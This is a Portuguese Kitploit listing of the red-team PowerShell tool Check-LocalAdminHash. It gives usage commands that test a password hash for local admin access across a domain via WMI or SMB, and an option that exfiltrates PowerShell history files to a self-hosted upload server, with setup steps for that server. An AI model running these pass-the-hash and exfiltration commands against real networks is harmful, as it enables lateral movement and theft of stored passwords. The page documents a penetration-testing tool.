Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Check-LocalAdminHash — Check-LocalAdminHash é uma ferramenta PowerShell que tenta autenticar em múltiplos hosts via WMI ou SMB usando um hash de senha para determinar se a credencial fornecida é um administrador local. É útil se você obtiver um hash de senha para um usuário e quiser ver onde ele é administrador local em uma rede. É essencialmente um Frankenstein de duas das minhas ferramentas favoritas junto com algum código próprio. Utiliza o projeto Invoke-TheHash de Kevin Robertson (@kevin_robertson) para a parte de verificação de credenciais. Além disso, o script utiliza módulos do PowerView de Will Schroeder (@harmj0y) e Matt Graeber (@mattifestation) para enumerar computadores do domínio e encontrar alvos para testar acesso de administrador. | Kitploit
Ferramentas/GitHubGitHub/dafthack/check-localadminhash
Escalada de PrivilégiosAtaques de SenhaMovimento LateralColeta de InformaçõesTestes de Penetração
GitHubdafthack/check-localadminhash

Check-LocalAdminHash

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Check-LocalAdminHash é uma ferramenta PowerShell que tenta autenticar em múltiplos hosts via WMI ou SMB usando um hash de senha para determinar se a credencial fornecida é um administrador local. É útil se você obtiver um hash de senha para um usuário e quiser ver onde ele é administrador local em uma rede. É essencialmente um Frankenstein de duas das minhas ferramentas favoritas junto com algum código próprio. Utiliza o projeto Invoke-TheHash de Kevin Robertson (@kevin_robertson) para a parte de verificação de credenciais. Além disso, o script utiliza módulos do PowerView de Will Schroeder (@harmj0y) e Matt Graeber (@mattifestation) para enumerar computadores do domínio e encontrar alvos para testar acesso de administrador.

17834há 7 anosRevisado pelo Kitploit
Compartilhar

Check-LocalAdminHash

Check-LocalAdminHash é uma ferramenta PowerShell que tenta autenticar em vários hosts via WMI ou SMB usando um hash de senha para determinar se a credencial fornecida é um administrador local. É útil se você obtiver um hash de senha para um usuário e quiser saber onde ele é administrador local na rede. É essencialmente um Frankenstein de duas das minhas ferramentas favoritas junto com algum código meu. Utiliza o projeto Invoke-TheHash de Kevin Robertson (@kevin_robertson) para a parte de verificação de credenciais. Além disso, o script utiliza módulos do PowerView por Will Schroeder (@harmj0y) e Matt Graeber (@mattifestation) para enumerar computadores do domínio e encontrar alvos para testar acesso de administrador.

alt text

A razão pela qual este script existe é porque em uma avaliação eu queria coletar todos os arquivos de histórico do console PowerShell (PSReadline) de todos os sistemas na rede. O histórico do console PSReadline é essencialmente a versão PowerShell do histórico do bash. Pode incluir muitas coisas interessantes que as pessoas digitam em seus terminais, incluindo senhas. Então, incluído neste script está uma opção para exfiltrar todos os arquivos PSReadline também. Há uma pequena configuração para isso. Veja o final do Readme para a configuração.

For more info read the blog here: https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/

Exemplos

Verificando Hash de Administrador Local em Todos os Hosts via WMI

Este comando usará o domínio 'testdomain.local' para pesquisar todos os sistemas e então tentará autenticar em cada um usando o usuário 'testdomain.local\PossibleAdminUser' e um hash de senha via WMI.

root@kitploit:~
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems

Exfiltrar Todos os Arquivos de Histórico do Console PSReadline

Este comando usará o domínio 'testdomain.local' para pesquisar todos os sistemas e então tentará autenticar em cada um usando o usuário 'testdomain.local\PossibleAdminUser' e um hash de senha via WMI. Em seguida, tenta localizar arquivos de histórico do console PowerShell (PSReadline) para cada perfil em cada sistema e os envia via POST para um servidor web. Veja a parte inferior do Readme para a configuração do servidor.

root@kitploit:~
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline

Usando um Intervalo CIDR

Este comando usará o intervalo CIDR fornecido para gerar uma lista de alvos e então tentará autenticar em cada um usando o usuário local 'PossibleAdminUser' e um hash de senha via WMI.

root@kitploit:~
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24

Usando Lista de Alvos e SMB e Saída para Arquivo

Este comando usará a lista de alvos fornecida e tentará autenticar em cada host usando o usuário local 'PossibleAdminUser' e um hash de senha via SMB.

root@kitploit:~
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt

Alvo Único

Este comando tenta realizar uma autenticação local para o usuário Administrator no sistema 192.168.0.16 via SMB.

root@kitploit:~
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB

Opções do Check-LocalAdminHash

root@kitploit:~
Username - O nome de usuário para tentar a autenticação.
PasswordHash - Hash de senha do usuário.
TargetSystem - Nome de host ou IP único para tentativa de autenticação.
TargetList - Uma lista de hosts para escanear, um por linha
AllSystems - Uma chave que, quando ativada, utiliza módulos do PowerView para enumerar todos os sistemas do domínio. Esta lista é então usada para verificar acesso de administrador local.
Domain - Este é o domínio que o PowerView utilizará para descobrir sistemas.
UserDomain - Este é o domínio do usuário para autenticar em cada sistema. Não use esta flag se estiver usando uma credencial local em vez de credencial de domínio.
Protocol - Esta é a configuração para verificar o hash usando WMI ou SMB. O padrão é 'WMI', mas defina como 'SMB' para verificá-lo.
CIDR - Especifique um intervalo de rede no formato CIDR, como 192.168.0.0/24
Threads - Padrão é 5 threads. (Já encontrei alguns problemas estranhos ao definir threads acima de 15, com alguns resultados não retornando.)
ExfilPSReadline - Para cada sistema onde a autenticação é bem-sucedida, executa um comando PowerShell para localizar arquivos de histórico do console PSReadLine (histórico de comandos do PowerShell) e os envia via POST para um servidor web. Veja o Readme para a configuração do servidor. 

Configuração de Exfiltração de PSReadline

Este é o seu aviso de que você está prestes a configurar um servidor voltado para a Internet que aceitará uploads de arquivos. Normalmente, isso é uma coisa muito ruim de se fazer. Portanto, tome precauções ao fazer isso. Recomendo reforçar as regras de firewall para que apenas o IP que fará o upload dos arquivos PSReadline possa acessar o servidor web. Além disso, já que estamos falando de segurança, isso funcionará perfeitamente com uma conexão HTTPS, então configure seu domínio e certificado para que os arquivos PSReadline sejam enviados criptografados pela rede. Você foi avisado...

  • Configure um servidor onde você desejar que os arquivos sejam enviados. Este servidor deve ser acessível via HTTP/HTTPS a partir de cada sistema.

  • Copie o script index.php deste repositório e coloque-o em /index.php na raiz da web (/var/www/html) no seu servidor web.

  • Crie um diretório uploads

mkdir /var/www/html/uploads

  • Modifique as permissões deste diretório

chmod 0777 /var/www/html/uploads

  • Certifique-se de que o PHP está instalado

apt-get install php

  • Reinicie o Apache

service apache2 restart

  • No próprio script Check-LocalAdminHash.ps1, role para baixo até a função "Gen-EncodedUploadScript" e modifique a variável "$Url" logo abaixo de "$UnencodedCommand". Aponte-a para a página index.php do seu servidor web. Ainda não descobri como passar a variável UploadUrl para essa seção do código que acaba sendo codificada e executada nos sistemas alvo, então codifique-a por enquanto.

Agora, quando você executar Check-LocalAdminHash com a flag -ExfilPSReadline, ele tentará enviar cada PSReadline (se houver) via POST para o seu servidor web.

alt text

Créditos

Check-LocalAdminHash é basicamente um Frankenstein de duas das minhas ferramentas favoritas, PowerView e Invoke-TheHash. 95% do código é dessas duas ferramentas. Portanto, o crédito vai para Kevin Robertson (@kevin_robertson) pelo Invoke-TheHash, e crédito vai para Will Schroeder (@harmj0y), Matt Graeber (@mattifestation) (e qualquer outra pessoa que trabalhou no PowerView). Sem essas duas ferramentas, este script não existiria. Também um agradecimento especial a Steve Borosh (@424f424f) pela ajuda com o threading e por ser um cara incrível em geral.

Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash

PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1

Baixar ferramenta